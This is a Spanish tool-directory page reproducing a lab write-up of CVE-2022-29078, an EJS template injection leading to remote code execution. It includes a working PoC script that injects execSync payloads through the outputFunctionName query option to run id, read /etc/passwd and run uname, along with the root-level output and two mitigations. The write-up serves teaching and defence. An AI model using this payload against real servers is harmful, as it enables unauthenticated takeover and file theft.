Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-29078 | Kitploit
Herramientas/GitHubGitHub/taka3636/cve-2022-29078
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubtaka3636/cve-2022-29078

CVE-2022-29078

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-29078 | EJS SSTI → RCE

White Hat School 4.ª generación (clase 32) - Woo Sang-beom (@taka3636)


Resumen

La vulnerabilidad de inyección de plantillas del lado del servidor (SSTI) en EJS < 3.1.7 (CVE-2022-29078) permite ejecutar comandos arbitrarios en el servidor de forma remota sin autenticación (RCE). Este documento configura el entorno vulnerable con Docker, reproduce el RCE mediante un PoC y verifica las dos medidas de mitigación (actualización de la librería · paso seguro de entradas).


Introducción a EJS

EJS (Embedded JavaScript templates) es un motor de plantillas ampliamente utilizado en el ecosistema de Node.js. Permite crear vistas dinámicas insertando JavaScript dentro del HTML mediante etiquetas <% %>, como en <h1>Hello <%= id %></h1>. Internamente, EJS compila la cadena de la plantilla en una función de JavaScript y luego la ejecuta para generar el HTML final. Es decir, es un generador de código que «convierte texto (plantilla) en código ejecutable (función)», y esta propiedad es el trasfondo fundamental de esta vulnerabilidad.


Introducción a CVE-2022-29078

EJS < 3.1.7 inserta el valor de la opción de renderizado outputFunctionName en el código fuente de la función compilada sin validación. Si la aplicación pasa la entrada del usuario directamente como opciones de renderizado, un atacante puede contaminar esta opción y ejecutar código arbitrario en el servidor (RCE). La gravedad es muy alta, ya que permite tomar el control total del servidor de forma remota sin autenticación.

  • Versiones afectadas: EJS < 3.1.7
  • Tipo: inyección de plantillas del lado del servidor (SSTI) → ejecución remota de código
  • Referencia: NVD CVE-2022-29078

Configuración del entorno

root@kitploit:~
EJS/CVE-2022-29078/
├── docker-compose.yml     # Enlazado a 127.0.0.1 (aislamiento)
├── Dockerfile             # node:18.20.4 (versión fijada)
├── app/
│   ├── server.js          # Aplicación Express vulnerable
│   ├── package.json       # ejs 3.1.6 fijado exactamente
│   └── views/page.ejs
├── poc.sh                 # Script de ejecución del PoC
└── 1.png ~ 8.png          # Capturas de pantalla
  • Runtime: Node.js 18.20.4 fijado
  • Librería vulnerable: ejs 3.1.6 (fijada exactamente, sin símbolos: con ^/~ se instalaría la versión parcheada y no se podría reproducir)
  • Framework web: express 4.18.2
  • Sin depender de imágenes personalizadas externas, se levanta por completo con un único docker compose up -d --build.


Condiciones de la vulnerabilidad

El ataque es posible cuando las dos condiciones siguientes se cumplen simultáneamente:

  1. Defecto de la librería: ejs < 3.1.7 inserta outputFunctionName como código sin validarlo
  2. Uso inseguro: la aplicación pasa la entrada del usuario completa como opciones de renderizado
root@kitploit:~
// app/server.js — punto vulnerable
app.get('/page', (req, res) => {
  res.render('page', req.query);   // pasa todo req.query como opciones de renderizado
});

En res.render('page', req.query), Express pasa la entrada del usuario (req.query) a EJS completa, como opciones de renderizado. El analizador qs parsea la notación de corchetes como settings[view options][outputFunctionName] como un objeto anidado, y ese valor se fusiona en la opción de compilación outputFunctionName de EJS. Es decir, el código (función) que el usuario ha colocado en el lugar de la opción se adjunta a la opción y llega junto con ella a EJS. EJS inserta este valor delante de la función compilada de la siguiente manera:

root@kitploit:~
var <outputFunctionName값> = __append;

Con un valor normal es inofensivo, como var myOut = __append;, pero si el valor rompe la sentencia con un punto y coma e inyecta código, ese código se ejecutará tal cual al ejecutarse la función compilada. Colocando execSync(...) en ese lugar, se pueden leer archivos concretos o ejecutar comandos del sistema.


Procedimiento de reproducción

Requisitos previos: Docker y Docker Compose instalados, y conexión a internet durante el build.

root@kitploit:~
# 1) Clonar y entrar en la carpeta
git clone https://github.com/taka3636/CVE-2022-29078.git
cd CVE-2022-29078

# 2) Compilar e iniciar
docker compose up -d --build
docker compose ps

# 3) Verificar el funcionamiento normal
curl "http://127.0.0.1:3000/page?id=world"     # -> <h1>Hello world</h1>

# 4) Ejecutar el PoC
bash poc.sh

# 5) Limpieza
docker compose down


Código del PoC

poc.sh — mediante la inyección de la opción outputFunctionName, ejecuta tres comandos en el servidor y recupera su salida: [1] id (quién ejecuta), [2] /etc/passwd (lectura arbitraria de archivos), [3] uname (dónde se ejecuta).

root@kitploit:~
#!/usr/bin/env bash
# CVE-2022-29078 : EJS SSTI (inyección de la opción outputFunctionName) -> RCE
set -e
TARGET="http://127.0.0.1:3000"

run() {   # $1 = comando shell codificado en URL (se ejecuta en el contenedor y se recupera el resultado)
  curl -g -s -o /dev/null \
    "${TARGET}/page?id=x&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('$1');s"
  docker compose exec -T vuln-ejs cat /tmp/out
}

echo "[1] Comprobación de permisos de ejecución (id) — si es root"
run "id%20%3E%20/tmp/out"
echo "[2] Lectura arbitraria de archivos — /etc/passwd"
run "cat%20/etc/passwd%20%3E%20/tmp/out"
echo "[3] Exposición de información del sistema — uname"
run "uname%20-a%20%3E%20/tmp/out"
  • curl -g: imprescindible para que la URL con corchetes no se interprete como glob (sin él, curl: (3) bad range)
  • Codificación: espacio %20, redirección > %3E

Resultado de la ejecución

Resultado de ejecutar poc.sh. Una petición normal (id=world) solo devuelve Hello world, pero el comando inyectado mediante la inyección de outputFunctionName se ejecuta en el servidor y su salida se recupera.

  • [1] id → uid=0(root) gid=0(root): el comando inyectado se ejecuta con privilegios de root.
  • [2] /etc/passwd → el contenido del archivo de cuentas del sistema se devuelve tal cual: se puede leer cualquier archivo del servidor (violación de confidencialidad).
  • [3] uname → el nombre de host es 326f6f1b04b3 (ID del contenedor), distinto del nombre de host de la VM (ubuntu-QEMU-Virtual-Machine): demuestra que el comando se ejecutó dentro del contenedor y no en el host. Es decir, los privilegios de root no se deben a sudo, sino al proceso del servidor vulnerable (node del contenedor = root por defecto).

Con una sola petición remota sin autenticación se pueden ejecutar comandos con privilegios root + leer archivos arbitrarios = CVE-2022-29078.


Medidas de mitigación

Mitigación 1 — Actualización de la librería (solución de fondo)

Sube ejs en package.json a 3.1.7 o superior. 3.1.7+ valida outputFunctionName con la expresión regular /^[a-zA-Z_$][0-9a-zA-Z_$]*$/, rechazando caracteres no identificadores como el punto y coma, por lo que el mismo ataque se bloquea antes de la ejecución del código.

root@kitploit:~
Error: outputFunctionName is not a valid JS identifier.

Mitigación 2 — Paso seguro de entradas (defensa de la aplicación)

Incluso con la versión vulnerable (3.1.6), si no se pasa la entrada del usuario completa sino solo los valores necesarios, la ruta de fusión de settings[view options] desaparece y la contaminación de opciones resulta imposible. La funcionalidad normal se mantiene.

root@kitploit:~
// Antes (vulnerable)
res.render('page', req.query);
// Después (seguro)
res.render('page', { id: req.query.id });

Recomendación: aplicar ambas medidas: mantener la librería actualizada (solución de fondo) y minimizar el paso de entradas del usuario (defensa en profundidad). Además, ejecutar el contenedor con un usuario no root puede reducir el alcance del daño en caso de RCE.


Referencias

  • NVD - CVE-2022-29078
  • EJS GitHub - mde/ejs
Descargar herramienta